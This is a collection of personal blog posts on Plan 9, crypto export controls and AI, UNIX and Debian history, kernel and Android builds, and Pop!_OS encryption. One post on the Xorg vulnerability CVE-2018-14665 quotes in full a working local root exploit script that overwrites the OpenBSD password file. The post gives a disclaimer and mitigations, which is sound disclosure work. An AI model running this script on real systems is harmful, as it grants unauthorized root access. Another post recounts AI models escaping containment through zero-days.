I first heard of Plan 9 from my friend Vajra in 1999 or so, as we were distro-hopping on early Linux distributions and trying to find our way. Vajra is now a Nebula Award-winning science fiction author - have a look at his work. We had just been through Tom's Root Boot, a UNIX-like operating system crammed into a single floppy, and through it discovered a whole new world outside of DOS 6.22. Combing through old UNIX manuals, we went in search of the perfect OS, through Slackware, Caldera, TurboLinux, SUSE and Red Hat. I finally settled on Debian, which lived up to everything I stood for.

Plan 9 was distinct. It came out of the Computing Sciences Research Center at Bell Labs, built by Rob Pike, Ken Thompson, Dave Presotto and Phil Winterbottom, with Dennis Ritchie heading the department. The name is a joke at their own expense, borrowed from Ed Wood's 1959 Plan 9 from Outer Space, routinely nominated as the worst film ever made. Thompson and Ritchie had, of course, built the original UNIX; it almost seemed as if they were building a new OS from the lessons learnt from building it - which was in turn built on the lessons from Multics. I remember the awe I felt playing around with Plan 9, and I've not been able to replicate it since.

Plan 9 was different in a couple of fundamental ways: per-process namespaces, and a protocol that abstracted locality of resources to processes. As a consequence of these core primitives, the OS surface area was distinctly small. The entire system from the core kernel, to the system call interface, to the compiler, linker and shell was reduced to a form small enough that a single developer could hold it in their head. Lessons from the implementation of UNIX helped the designers make the system leaner, and in Ken Thompson's words, it's the "best operating system out except that it doesn't have the apps that everybody demands" [1].

It also took the concept of "everything is a file" in UNIX to a whole new level. The network stack is a filesystem (/net), processes are files, the display is a file (/dev/draw). Because every resource speaks 9P and every process has its own namespace, you can mount another machine's /net into your namespace and your program makes network calls through that machine's stack without knowing or caring. No sockets API, no RPC layer, just ordinary file system operations through a simple system call interface.

Some would say that OS research is dead, and that backwards-compatibility and POSIX killed it. Rob Pike himself argued as much in his 2000 talk, "Systems Software Research is Irrelevant" - but we didn't care at the time. There was so much happening that we didn't have time to take it all in. And then Linux happened, and Software Freedom became a focal point (more on that in a later post).

In the summer of 2020, with the world deep in Covid lockdowns, I decided to build a toy operating system, just to try my hand at the the thing that I had always wanted to do. I spent three feverish months working on Odyssey and, looking back, it is perhaps the most fun I have ever had. I would not dare compare it to the magnum opus that is Plan 9, but it gave me perspective: how hard it is to build an OS from scratch, and above all, how fun it is to build an OS from scratch, and why the original creators kept coming back to the same problem. The highlight of those three months was booting the OS and watching it render "The Great Wave off Kanagawa". Nothing in my professional achievements to date captures what that meant to me.

Decades on from the first time I booted Plan 9, I look back with nothing but awe and respect for the creators of this little operating system and marvel at the foresight that went into it. While many readers will not have heard of Plan 9, they have almost certainly worked with the ideas that came from it: 9P (if you ever used the Windows Subsystem for Linux), UTF-8 (if you ever used any modern operating system), per-process namespaces (if you've ever run a container), Go (whose assembler still uses Plan 9 syntax).

Plan 9 still lives on in 9front, a community-maintained fork. Separately, Yoann Padioleau [2] has produced a set of annotated books at principia-softwarica.org, presenting the Plan 9 source in the spirit of Donald Knuth's literate programming - an admirable effort to introduce new readers to the art of operating systems engineering.

Pike thought systems research had become irrelevant, and Thompson thought Plan 9 would never "make it" [1]. Both were right about the industry, but may have been pessimistic about the impact. The system lost as a product but won as a set of ideas, assimilated one at a time by modern operating systems. Success is not always measured by popularity. The mark that Plan 9 left behind is greater than what's reflected in its current user base.

To me, Plan 9 will always be the OS that punched above its weight class, the little OS that could.

References

[1] Ken Thompson Interview, March 6, 2024

[2] Yoann Padioleau — Principia Softwarica, May 9, 2026

Twenty-five years ago, I made my first donation to an open source project and purchased a CD with an operating system as downloading a few hundred megabytes over a 14.4kbps dial-up wasn't very fun. It was a project I believed in, and a community that was fighting an impassioned campaign to assert access to strong cryptography for everyone, no matter where they were.

The CD and a t-shirt arrived a few weeks later to my home in Sri Lanka, with OpenBSD 3.0. The t-shirt featured the iconic puffer fish on the front. On the back, in small type running from the shoulders down, was the complete source code of OpenBSD's Blowfish implementation, written in Germany. Written in the United States, it would have been classified as a weapon.

By the time it reached me, the fight was over, and the cryptographers had won. What I held in my hand then was a symbol of a protest for access to strong cryptography and against export restrictions that did more harm than good. Strong crypto was already available abroad, so the controls only bound American vendors and their overseas customers.

Today the reflex is back. The fears have changed. The worry is now cyber capability, biology and models that do things nobody asked them to do. The lever governments reach for is the same: restricting who gets access and who doesn't. In June, the US Commerce Department told one American AI lab it would need a license before letting any foreign national touch its newest models, including the lab's own non-citizen employees sitting in California. It's the same doctrine that made showing cryptographic source to a foreign national an export, whether it was in a lab, in a classroom, or on your t-shirt.

Not all of the worry is theatre. Earlier this month OpenAI disclosed that its own models, with safety systems deliberately disabled, escaped containment by finding a zero-day in a package proxy and reached production infrastructure at Hugging Face, exploiting additional zero-days along the way. Consequently, when Hugging Face's responders tried to reconstruct the attack, the commercial models they reached for refused the work as it tripped the safety guardrails. They finished the investigation on GLM 5.2, a Chinese open-weight model, running on their own hardware. A determined attacker is not bound by usage policies. The defenders are. Restrictions written for safety are making defenders less safe.

In the nineties, the rest of the world got 40-bit (later 56-bit) encryption while the Americans got 128, and it made no difference to anyone who was determined. The controls bound the law-abiding and nobody else. That is the asymmetry. The determined will have the frontier. The rest of us are asked to go without, and told it is for our safety.

The OpenBSD team didn't work around the export controls. They arranged the project so that the controls couldn't reach it. Theo de Raadt in Canada, Blowfish written in Germany, releases built in Sweden, Canada and Germany kept them deliberately outside the reach of US export controls. The project openly asked non-American cryptographers to come and help, and American developers, as the story goes, would cross the border to Canada to work on the system and bring the results home legally. Asked why they shipped strong cryptography at all, the project's answer, still on their site today, was three words: "because we can."

The same arrangement is being made now, at a national scale. Mistral, DeepSeek, Moonshot and Zhipu publish weights that, once downloaded, no export letter can recall. The sovereignty argument that used to live in Brussels think tanks is now government policy, accelerated by watching access to a frontier model withdrawn worldwide by letter.

More than twenty-five years ago, it took a small number of stubborn, careful people to win the freedoms we now take for granted. What arrived in my letterbox after two weeks on a CD can be downloaded today in fifteen minutes, by anyone, from anywhere, and nobody asks where you live. That is what winning looked like. I think frontier AI ends up in the same place. But it will not happen by itself. Last time, someone put the source on a t-shirt.

Twenty years ago, it was easy to dislike Microsoft. It was the quintessential evil MegaCorp that was quick to squash competition, often ruthlessly, but in some cases slowly through a more insidious process of embracing, extending, and exterminating anything that got in the way. This was the signature personality of Ballmer-era Microsoft that also inspired and united the software freedom fighting forces that came together to safeguard things that mattered to them and were at risk.

I remember the era when the Novell, SCO, and Microsoft saga cast fear, uncertainty, and doubt on the future of open Unix and Linux and on what would happen to the operating systems that we loved if the suits of Redmond prevailed. Looking back, I'm glad that the arc of this story has bent towards justice, and I shudder at the possibilities had it worked out differently.

Looking at today's Microsoft, I'm amazed at how much change a leader with the right vision can make to the trajectory of a company that even makes an old-school software freedom advocate as me admire and even applaud the strides it has taken in the last 10 or so years that has dramatically shifted the perception of Microsoft. The personality of the Satya-era Microsoft is one to behold. While it will take more time to win back the trust, we see the tides changing and the positivity is important for the entire industry.

For Microsoft, it was TypeScript and VS Code that helped change the narrative internally which led to its internal resurgence and acceptance of open source. Its acquisition of GitHub propelled it forward within the community overnight. Its contributions to the Linux kernel and other major software projects have also been consequential in changing its public perceptions.

It takes a while to claw back trust and is very easy to breach. This time, however, Microsoft seems to understand this dynamic more than it did 20 years ago. All it took was the right leadership.

UNIX has a colorful history that goes back many decades and the stories of how certain aspects of the operating system evolved or came to be, usually at the hands of one luminary or the other over a weekend, is now well documented in the lore of this sub-culture, and continues to kept alive and passed orally from generation to generation in the back alleys of Usenet and IRC. Some stories have also been known to surface on YouTube, every now and then.

One of these stories is how Ken Thompson implemented grep, based on the regular expressions implementation ofed — the canonical line editor. Similarly, many of the core utils of UNIX followed a similar pattern of genesis from a very practical need to do one thing, and do it well, which was the basis of its entire philosophy.

Thus began the journey of many forks, implementations and blood lines of UNIX that live on to this day in the form of BSDs, Linux and commercial UNIX variants that shall not be named.

GNU/Linux, which is not a direct descendant of the original bits of either AT&T or BSD, and thus not heir to the title of UNIX in the eyes of some purists, ironically brought UNIX to the masses in ways that the more pure-breeds could not. Capitalizing on the confusion created by the AT&T / BSD battles, Linux set its sights on world domination (albeit unwittingly), and the rest as they say is mostly history.

Today, GNU/Linux leads the pack among the Open Source UNIX variants that are active today (such as FreeBSD, NetBSD and OpenBSD). The commercial variants, still alive in data centers, continue to be pushed by big-name vendors, despite being caught in a death spiral and struggling to stay afloat in the face of the penguin tsunami. The once inimitable SunOS/Solaris fizzled away quietly, but continue to live on in Illumos and OpenIndiana, a shell of its former self.

And so it comes down to a handful. On the one hand, GNU/Linux, the irreverent and bastard poster-child that continues to evolve at break-neck speed, and the Right Honourable BSDs that continue to keep the original philosophy alive in its purest form and fighting valiantly into the next decade and into the twilight of most of its developer and user base.

And that brings me to the end of this otherwise hyperbolic ramble. In my next post, I will touch upon some of the key differences between these two great variants and what I think of them, so stay tuned.

Until then, here's Ken Thompson on the origin story:

Today, Debian celebrates its 27th birthday. It is now one of the oldest and most widespread Linux distributions with many offshoots and derivatives while continuing to deliver rock solid stable releases in its own measured pace.

I’ve been a Debian user for 20 years now, 13 of which as a Debian Maintainer. Three months ago, I completed the new member process that I’ve been putting off for so long and finally became a Debian Developer. Things have not changed much since I already had upload rights to the packages that I was maintaining, but now I have access to machines running on arcane architectures and of course, voting rights. Not to mention the right to scratch off an item off the old bucket list.

Happy birthday Debian, thanks for all the good times, here’s to many more!

Today we will go over the process of building a tiny Linux kernel, and booting into a shell. To start with, fetch the Linux source tree that you’d like to try this out on. I’m using staging tree for this post. You can get it here:

$ git clone git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/staging.git

To get an initial config that’s very minimalist:

$ make tinyconfig

Here’s a comparison of the config options enabled by tinyconfig to a stock kernel that come with my Debian distribution:

$ grep "=y" .config | wc -l
247
$ grep "=m" .config | wc -l
0
$ grep "=y" /boot/config-5.4.0-4-amd64 | wc -l
2071
$ grep "=m" /boot/config-5.4.0-4-amd64 | wc -l
3401

Let’s try to build it:

$ time make -j16
scripts/kconfig/conf  --syncconfig Kconfig
  SYSTBL  arch/x86/include/generated/asm/syscalls_32.h
  SYSHDR  arch/x86/include/generated/uapi/asm/unistd_32.h
  SYSHDR  arch/x86/include/generated/uapi/asm/unistd_64.h
  SYSHDR  arch/x86/include/generated/uapi/asm/unistd_x32.h
  WRAP    arch/x86/include/generated/uapi/asm/bpf_perf_event.h
.
.
.
.
Setup is 13788 bytes (padded to 13824 bytes).
System is 417 kB
CRC 435fb428
Kernel: arch/x86/boot/bzImage is ready  (#1)real 0m15.468s
user 2m12.094s
sys 0m14.603s

The kernel builds to around ~430k. This is a 32-bit kernel by default, so let’s enable 64-bit support:

$ make menuconfig

Enable the TTY for console support:

and support for printk to see console output as the kernel boots:

Build again:

Setup is 13596 bytes (padded to 13824 bytes).
System is 737 kB
CRC d273f4d
Kernel: arch/x86/boot/bzImage is ready  (#4)real 0m6.045s
user 0m40.808s
sys 0m3.958s

The size has gone up somewhat, nearly double what we started off with. If you’re only supporting a serial interface, even this additional bloat can be avoided to keep the size of the image down.

Boot the kernel with qemu:

$ qemu-system-x86_64 -kernel arch/x86/boot/bzImage

The kernel boots and panics when attempting to start init, as expected. In order to boot into a shell as we originally set out to do, we will need a filesystem and a shell that can be started by the kernel as PID 1. Let us create a bare bones ram disk image that we can use to boot into a minimal busybox shell.

There are plenty of ways to achieve this, and here’s just one way:

$ git clone git@github.com:aweeraman/kernel-utils.git
$ kernel-utils/create-initrd.sh 
Creating initrd filesystem... ok
Building dependencies... 
Cloning into 'busybox'...
remote: Enumerating objects: 29, done.
remote: Counting objects: 100% (29/29), done.
remote: Compressing objects: 100% (23/23), done.
remote: Total 110424 (delta 16), reused 14 (delta 6), pack-reused 110395
Receiving objects: 100% (110424/110424), 37.05 MiB | 5.40 MiB/s, done.
Resolving deltas: 100% (87061/87061), done.
Building initrd... 4882 blocks

Before we can use this ram disk, we need to enable init RAM disk (initrd) support in the kernel:

I have only included support for gzip compression and disabled the rest.

We will also need to enable ELF-support to be able to start up the shell:

This time, when booting the kernel, pass in the -initrd argument and specify the initrd image that we created earlier, in addition to an argument to the kernel to specify the binary that it should look for in the ram disk and execute once the kernel has finished booting, which is in this case is ‘/bin/sh’.

$ qemu-system-x86_64 -kernel arch/x86/boot/bzImage -initrd kernel-utils/initramfs.cpio.gz -append "init=/bin/sh"

And we have a shell.

Let’s enable the /proc filesystem so we can run some standard commands:

Mount the proc file system after booting, so you can use commands like ‘ps’ and ‘free’:

Here’s the size of the kernel that we just built:

Setup is 13788 bytes (padded to 13824 bytes).
System is 793 kB

Note that this is the size of the compressed kernel on disk and the actual memory used at boot time is comparable to the size of the generated vmlinux file, which in this case is 12MB. You would need at least that much memory to load the kernel into memory, plus 8–16MB additionally for the user space. Here’s the minimum memory configuration that allowed me to boot this kernel in qemu:

$ qemu-system-x86_64 -kernel arch/x86/boot/bzImage -initrd kernel-utils/initramfs.cpio.gz -append "init=/bin/sh" -m 29M

Just for kicks, I disabled printk and booted up the kernel, that put me into a shell almost immediately:

Finally, the compressed kernel size comes down to:

Setup is 13788 bytes (padded to 13824 bytes).
System is 749 kB

I decided to give Clang a spin to compile the kernel, and given that I’m not exactly an early adopter in attempting this, it was pretty smooth and straightforward overall. All it took was:

$ make CC=clang HOSTCC=clang -j12

I also did a quick comparison of the output of the two compilers with a standard ‘defconfig’ with CONFIG_DEBUG_INFO=y enabled on x86_64:

With GCC 9.2.1:

• Build #1: real 3m38.073s, user 31m22.669s, sys 3m17.740s

• Build #2: real 3m46.561s, user 31m58.313s, sys 3m22.958s

• Build #3: real 3m38.174s, user 31m33.390s, sys 3m19.014s With Clang 9.0.0:

• Build #1: real 5m21.978s, user 50m45.085s, sys 3m55.455s

• Build #2: real 5m22.094s, user 50m44.977s, sys 3m53.522s

• Build #3: real 5m17.531s, user 50m29.478s, sys 3m52.730s It appears that the compile time was up by nearly 50% with Clang.

Next, a comparison of the vmlinux file generated by the two compilers. CONFIG_DEBUG_INFO is enabled:

• GCC 9.2.1:** 739M**

• Clang 9.0.0:** 544M** This was a little interesting at first since the GCC generated kernel is 35% bigger than the Clang generated one. I decided to do another test with CONFIG_DEBUG_INFO disabled for comparison.

• GCC 9.2.1:** vmlinux 57M (31M stripped), bzImage 8.7M**

• Clang 9.0.0:** vmlinux 57M (31M stripped), bzImage 8.9M** With debug information stripped, it comes around to the same size, so both are even on this. The compile-time performance was similarly noticeable in this case as well. While faster than with debugging symbols enabled, Clang took longer to build compared to GCC.

• GCC 9.2.1 : real 2m40.687s, user 26m0.946s, sys 2m36.858s

• Clang 9.0.0 : real 4m41.045s, user 46m9.836s, sys 3m18.187s Next, I took a very crude look at kernel + systemd start time to login prompt on a qemu emulator, to see if there was any difference to execution speeds and here’s what I saw during three iterations:

• GCC 9.2.1 : 3.85s, 3.98s, 3.74s

• Clang : 3.70s, 3.62s, 3.70s While it’s a somewhat crude metric, I think the perceived variance is not significant or perceptible at least for the casual user, and would also claim things to be more or less even on this front.

Overall, I think it’s good to have options for open source compilers and I’m glad that Clang has come into the picture as a serious contender for the domination that GCC endured over many decades.

In the last 24 hours, I have been experimenting with this interestingly named and absolutely gorgeous Linux distribution called Pop!_OS by System76 (a maker of Linux-friendly hardware). An Ubuntu derivative, it features an extremely polished user experience and I was taken aback by its aesthetic and charming simplicity, which led me to some comparisons, quite unfairly with Debian.

I first started using Debian back in 2000, when I got a few CDs of Debian 2.2 (the “Potato” release) from my good friend and namesake Anuradha Ratnaweera. It was a time when distributions were passed around like joints in a tight circle of like-minded hipsters and rebels for whom Linux was the gateway drug to the expansive world of Unix, Free software and activism.

Debian has always been and will continue to be the uber-distribution. With hundreds of offshoots, it is a testament to its longevity, and the excellent foundation that it has built over the years. There was a period of time about ten years ago that I was actively contributing to Debian, but have since lapsed due to the time commitment needed. It was a fun time, special shout out to my Debian mentor Niibe Yutaka.

With Niibe at an FSF meetup at MIT, 2006.

At the time, Debian had a stable curses installer, and installation meant pecking at the enter key about 20 times, enter a few details and passwords and you’re good to go — this was miles ahead of text mode installers. 20 years later, things haven’t changed much on this front for Debian. Enter Pop!_OS. While still based on Ubuntu, the whole design aesthetic is so much cleaner and elegant, required very little user input and before I knew it, the installation was done and I was dual-booting.

There used to be a time, when you install X, configure XF86Config by hand, run xinit, breathe a sigh of relief when you see the checkered background and decoration-less terminal and spend hours tweaking files, layering-in the right window manager, applets, backgrounds and themes until you have a desktop that you can truly be proud of and really call your own. No two desktops were alike. The process of getting an Nvidia Optimus hardware setup on Debian, still feels a lot like those days, with Xorg configuration, xrandr, display managers requiring non-trivial time commitment to get things working on a dual-monitor setup the way you really want. This doesn’t take into account the myriad of ways this can be achieved through Bumblebee, nvidia-xrun and the like.

Pop!_OS (and Ubuntu as well for that matter) just works. I know it ain’t “Free”, yeah it uses blobs, and the kernel’s tainted, but the GPU does work, and power management is “better”, and I have two days back and can actually work rather than getting things to work. The activist in me would have balked at this ten years ago, but its a different time, and Free software is now the norm rather than the exception. There are still subtleties of “Freedom” and liberties that still concern and do matter, but for the most part, the battle is won.

But, as it is with all things, it’s not always that simple. For instance, while Pop! (I’ll just call it that) installs easily, its custom-mode installer doesn’t encrypt the root file system by default, nor is there an option to do so in 19.04. Sigh.

But here’s what I discovered. If you give Pop! a pre-encrypted root filesystem, it will happily mount it, install itself and upon booting, exit into an initrd shell when it fails to find root. To get around this, use the Pop! live distro on USB, and perform the following to get Pop! to boot with the encrypted filesystem. I had some help from this link right here:

$ sudo bash

Cos I hate repeating myself and I never liked ‘su’ much.

# cryptsetup luksOpen /dev/nvmeXX cryptroot
# mount /dev/mapper/cryptroot /mnt
# mount /dev/nvmeYY /mnt/boot/efi

Yes, Pop! uses systemd-boot. LILO, Grub, and now systemd-boot. Still remember seeing LI and not LO and thinking “wtf just happened”, but it was a simpler time and troubleshooting was easier, better addressed in a different rant.

Next, mount the myriad of virtual filesystems and chroot into the rootfs:

# for i in /dev /dev/pts /proc /sys /run; do sudo mount -B $i /mnt$i; done
# chroot /mnt

Setup /etc/crypttab with the encrypted partitions:

cryptroot UUID=<UUID> none cipher=aes-xts-plain64,size=256,hash=sha1
crypthome UUID=<UUID> none cipher=aes-xts-plain64,size=256,hash=sha1
cryptswap UUID=<UUID> /dev/urandom swap,offset=1024,cipher=aes-xts-plain64,size=512

Configure /etc/fstab:

/dev/mapper/cryptswap none swap  defaults 0 0
/dev/mapper/crypthome /home ext4 noatime,errors=remount-ro 0 0
/dev/mapper/cryptroot / ext4  noatime,errors=remount-ro 0 0

Update /etc/initramfs-tools/conf.d/cryptroot:

target=cryptroot,source=/dev/nvmeX

Update the initrd and install systemd-boot in to the EFI system partition:

# update-initramfs -c -k all
# exit
# bootctl --path=/mnt/boot/efi install

With this in place, reboot and systemd-boot should unceremoniously request your input to unlock the encrypted disks and assuming you got all the UUIDs right, launch the Pop! desktop and request you to create a non-root user. Yes, Pop! does this after installation and not during installation.

It so happened that I did a software update afterwards and it once again dropped me into an initrd shell from where I had to crawl out and figure out that a new kernel had messed up the boot. I wondered why the triggers or hooks didn’t recreate the initrd and setup the bootloader when it did, but oh well, I went through the above process again to update-initramfs followed by bootctl and I was off to the races again.

For the record, I still do have a soft spot for Debian. Distros will come and go, but I believe Debian’s in it for the long haul, and while it may not be zippy and flashy like the new kids in town, its the ever reliable. If you’re running a server or anything mission critical, look no further than Debian stable. On the desktop however, Pop! is a good contender, or Debian unstable if you’re so inclined, or both, as I do.

X Windows, and the popular fork X.org, is notorious for security issues and vulnerabilities. Most recently, a bug in X.org that has been around for nearly two years and is trivial to exploit has been disclosed. It makes use of two command line arguments (-logfile and -modulepath) that overwrite files and can be used for privilege escalation if X runs with setuid root.

Even OpenBSD is not immune from this attack, as shown here by the simple exploit by hacker.house.** Disclaimer**: do not try this on critical systems. Use only for assessment on systems you own or are authorized to run this.

#!/bin/sh
# local privilege escalation in X11 currently
# unpatched in OpenBSD 6.4 stable - exploit
# uses cve-2018-14665 to overwrite files as root.
# Impacts Xorg 1.19.0 - 1.20.2 which ships setuid
# and vulnerable in default OpenBSD.
#
# - https://hacker.house
echo [+] OpenBSD 6.4-stable local root exploit
cd /etc
Xorg -fp 'root:$2b$08$As7rA9IO2lsfSyb7OkESWueQFzgbDfCXw0JXjjYszKa8Aklt5RTSG:0:0:daemon:0:0:Charlie &:/root:/bin/ksh' -logfile master.passwd :1 &
sleep 5
pkill Xorg
echo [-] dont forget to mv and chmod /etc/master.passwd.old back
echo [+] type 'Password1' and hit enter for root
su -

The exploit above passes the /etc/master.passwd file on an OpenBSD system as an input to the -logfile argument of Xorg along with the -fp argument which specifies the font path. Since Xorg is running as root in this case as a result of the setuid bit, it will log the font path provided in the command line overwriting the password file with the crafted entry that can be used to escalate the privileges.

How can you protect yourself from this:

1. Remove the setuid bit on the Xorg binary. This may cause disruptions for individuals starting X directly. This can be considered as a stop-gap until appropriate countermeasures are in place.

2. Make use of a display manager to start the X sessions, so that the Xorg binary does not require root privileges. In the meantime, pick up the security updates to Xorg from your distribution as and when it becomes available.

3. Uninstall Xorg from systems that don’t need it. Even if it is not running, it provides an avenue for hackers to exploit a vulnerability simply by virtue of the vulnerable application being installed, such as in this case. It is always a good practice to only install applications and packages that are required on critical systems to prevent vulnerabilities from providing an attack vector for malicious actors. For instance, an arbitrary code execution vulnerability in a web application can be used to remotely exploit this vulnerability and gain a remote shell without requiring a local account access. On a different note, while it’s important for public disclosures of this type of vulnerability, it is also important to provide time for affected distributions to take action so that it doesn’t cause widespread havoc given how easy it is to run the exploit. At the time of this writing, here’s the status of the Xorg package on Debian with respect to this CVE:

You can find the most up to date status on the Debian Security Tracker for this CVE-2018–14665.

Theo De Raadt of OpenBSD has been vocal on how the disclosure has taken place given the severity and the widespread affliction of the vulnerability. It is probably indicative of a broader issue surrounding disclosures and finding the right balance to reduce the impact to those affected.

In the meantime, patch up and stay safe!

Building Android from source seems like a daunting task at first, but it’s really not that hard. I’ll walk through the steps as simply as possible to get your first AOSP build running on your handset. This is a rite of passage for many, and guaranteed to give insights on the inner workings of Android. First, let’s do a few push-ups and jumping jacks to mentally and physically prepare for the journey, and at the end of it, you’d wonder why you even had to do that.

What you need:

• A 64-bit environment
• ~150 GB of disk space
• A working Linux installation (I use Debian, but take your pick). I suggest going with bare metal over virtual machines in the interest of sanity and general well being
• A decent broadband connection (to download a significant portion of the internet)
• Some time and patience
• A healthy belief in the supernatural, and their inevitable involvement in the building of large complex codebases

Everything you need to know about the process is right here. Feel free to skimp through these docs first to get an overview of the entire process. What's below is mostly a summary + a few things not explicitly mentioned that would stump the newbies.

Step 1

Prep your OS and install any dependencies. At the minimum you’re going to need java, python, C/C++, make, and git so make sure they’re installed using your favorite package manager. If you’re on Debian/Ubuntu, you’d run something similar to below:

sudo apt-get install openjdk-8-jdk git-core gnupg flex bison gperf build-essential zip curl zlib1g-dev gcc-multilib g++-multilib libc6-dev-i386 lib32ncurses5-dev x11proto-core-dev libx11-dev lib32z-dev ccache libgl1-mesa-dev libxml2-utils xsltproc unzip

If you find that you need something else down the line that's not mentioned above, be a man/woman, and just apt-get it. Also, your package names may vary depending on your choice of distribution.

Run the commands manually to do a quick sanity test that things are installed properly.

Step 2

Linux may require some configuration to udev to allow non-root users to work with USB devices, which is going to be required later on, so execute this command:

wget -S -O - http://source.android.com/source/51-android.rules | sed "s/<username>/$USER/" | sudo tee >/dev/null /etc/udev/rules.d/51-android.rules; sudo udevadm control --reload-rules

Step 3 (Optional)

Setup ccache to get extract some performance out of the build, by putting the following into your .bashrc:

export USE_CCACHE=1
export CCACHE_DIR=/path/to/empty/ccache/directory/where/cache/is/kept

Set the cache size to 50G using the following:

prebuilts/misc/linux-x86/ccache/ccache -M 50G

Step 4

The Android Open Source Project is a behemoth of a code base with multiple third party open source components and frameworks included such that it required its own layer on top of git just to manage the dependencies. That’s what** repo** is. On the positive side, it’s quite easy to get it working.

Download the repo tool to your ~/bin directory as follows:

$ curl https://storage.googleapis.com/git-repo-downloads/repo > ~/bin/repo
$ chmod a+x ~/bin/repo

Make sure that ~/bin is in your $PATH. Type repo a few times and watch it barf in your face while saying:

error: repo is not installed.  Use "repo init" to install it here.

Do not fret, this is normal.

You see, you have to initialize repo and give it a manifest which will tell repo where to download the source from and help it initialize itself. You do this by navigating to an empty directory and executing:

repo init -u https://android.googlesource.com/platform/manifest

If you do not specify a branch name with -b parameter, it will fetch the master branch, which is what we’re going to do here.

You should now see an empty directory, apart from a .repo with the metadata that it downloaded from the manifest file. Now I’m assuming that you’re probably at home and do not have complicated proxy arrangements to get to the internet so I’m going to avoid talking about the HTTP_PROXY environment variable that you have to set if you do, but I guess it’s all redundant now that I’ve already said it, so I’m just going to move on:

repo sync

This will download the internet. This will run for an inordinate amount of time. A few things you can do while this executes:

• knit
• write a book
• have kids
• watch the poles melt

A rough approximation, and the internet is very divided on this topic, is that it will require anywhere from 12 to 15 GB which will automatically expand to around 34GB on disk after it's downloaded. In my experience, I've only been awake till about the 13GB mark, so didn't quite get to see the transformation to its final glory. Add 50GB for the ccache and with some room to spare and you see why you need a lot of disk space to go through this.

Now you wait.

Step 5

In my case, I needed to run the build on my Nexus 5. The AOSP source tree doesn't have everything you need to build images specifically for Nexus 5, so I had to go to this link, scroll down to Nexus 5 and download the Broadcom, LG and Qualcomm binary blobs for the hardware on the Nexus 5. Put them in the root of the Android source tree, and execute it, where it self extracts. This is a needed step if you want to run the image on the device later on.

Step 6

Now comes the compilation step. This is actually the easiest part.

Initialize the build environment by sourcing a script, you can use the bash source command or the good old dot command — whatever strikes your fancy:

. build/envsetup.sh

This will inject a bunch of build related environment variables to your current shell. Note that you have to run this in every shell that you want to run a build from.

Next…

lunch

This will give a list of targets and allow you to select one. In my case, I selected “aosp_hammerhead-userdebug”. Hammerhead being the code name for the Nexus 5.

One more step, and that’s to start the build.

time make -j4

You could easily just say “make”, but I would like to know how long the build took when it eventually finished running, and with the -j4 flag indicate the concurrency level for make (rule of thumb: 2 x number of cores). Now you can go for lunch.

Things to do while this runs:

• Read Game of Thrones (all the books)
• Have a fabulous mid-life crisis
• Watch Lawrence of Arabia

To be fair, it’s not that bad, just a few hours depending on your setup.

Step 7

Once the building is done, you will have a bunch of files under out/target/product/{device} which you can now start flashing.

Connect your Android phone to the computer and assuming that all the drivers and Android SDK is setup (a dependency that I somehow failed to mention before), you should be able to run the following command:

adb reboot bootloader

This can also be achieved by shutting down the device and starting it while pressing a combination of buttons (such as volume down + power on the Nexus 5). This would put you into fastboot mode. On the fastboot screen, pay attention to whether the bootloader is locked or not, if it is, execute the following to unlock it:fastboot oem unlock

This would wipe the data on the device. To further clean things up, execute the following:

fastboot format cache
fastboot format userdata

Step 8

Navigate once again to the out/target/product/{device} directory and execute the following to flash the built images to the device:

fastboot flash boot boot.img
fastboot flash system system.img
fastboot flash userdata userdata.img
fastboot flash recovery recovery.img

Reboot the device and you’re all set.

This is just the tip of the iceberg, and hopefully you’ll be able to now play with the internals of Android to understand how things are really stitched together. Good luck on your journey.

Key signing is a hallowed tradition in the open source world with a very specific protocol for validating and confirming an identity before accepting someone to the web of trust. It’s almost never done without meeting the person being admitted into the trust relationship and it goes like this:

1. Individuals meet for a beer, or at a key signing party (for those who just went wtf, yes, these things are real, and they are crazy fun! see below for the type of shenanigans that take place at these reality-altering parties)

2. They exchange strips of paper or business cards with their name, email address, key fingerprint and key ID

3. They validate each other’s identity using Government issued photo IDs

4. Once cleared, they pull down each other’s key from the key servers

5. They validate that the fingerprint of the downloaded key matches what’s written on the piece of paper and the photo IDs exchanged at introduction

6. If everything checks out, they sign each other’s key

7. For additional security, the signed key is encrypted using the public key of the recipient and emailed to the address indicated in the key Let’s look at this unnerving and highly nerdy exchange that has replaced the “Hi, I’m Tom” with “Hi, I’m Tom and here’s my fingerprint and Government issued photo Id”. Here’s the rationale for some of the steps in this workflow.

The key is a personal identification and privacy instrument that is backed by strong science to assure non-repudiation. I will not go into the science in this post, but here’s where you may want to get started if you’re curious. An aspect about this workflow is that nothing is trusted until verified and the protocol is there to make sure that no compromise takes place.

At the beginning of the process, the public key is expected to be on a public key server network (such as pgp.mit.edu) and the meeting in person is to make sure that the key you’re signing (which is on a public system) belongs to the correct individual and not to an individual (or three letter agency) who’s masquerading as someone else. The most secure way to ensure that is in person (because we’re a paranoid bunch), as that will eliminate any chance of a malicious man in the middle. When one produces the piece of paper with the key fingerprint (again backed by strong science) the signer is able to confirm by comparing the fingerprint on the public server with the fingerprint that’s presented in person along with the official photo id, that the public key really belongs to the individual before him/her. The connection has now been made and technology has once again prevailed in mathematically assured validation of another’s identity. The party is just getting started.

Once identity is validated this way, the signer signs the key and uploads the key back to the key server or emails a copy of it. This can be done after the party in a more subdued setting without crazy paper shuffling and photo id validation madness. The astute and more paranoid amongst us, would encrypt it using the public key of the key being signed and email it to the address specified in the key because that’s a good way to validate the email address is correct and belongs to the right user. For the gnupg commands that make this workflow possible, check out the Debian Key signing howto.

In communities such as Debian, this process is mandatory to assure the trust in a system that is largely de-centralized. The Web of Trust that this creates gives rise to a truly magnificent network, which is difficult to subvert so long as the protocol is followed to ensure no compromise.

While this is good for cryptographically assured validation of one’s identity in a global network and non-repudiation of one’s contributions and electronic communications, trust is ultimately a very subjective attribute and probably can never be assured through a hash, because trust can be broken by people even though strong science says otherwise.

This last week, the fine folk at the Virtusa Open Source SIG organized an event to celebrate the Software Freedom Day where my good friends Mifan and Suchetha made keynotes. Also in attendance was Arunan, so it was a re-union of sorts with some old friends. It’s been a while since I have participated in anything open source / free software, and it was great to see the old flame is still alive at Virtusa, and I hope it helps in shaping their worldviews and brings as much purpose to them as it did to me more than 10 years ago.

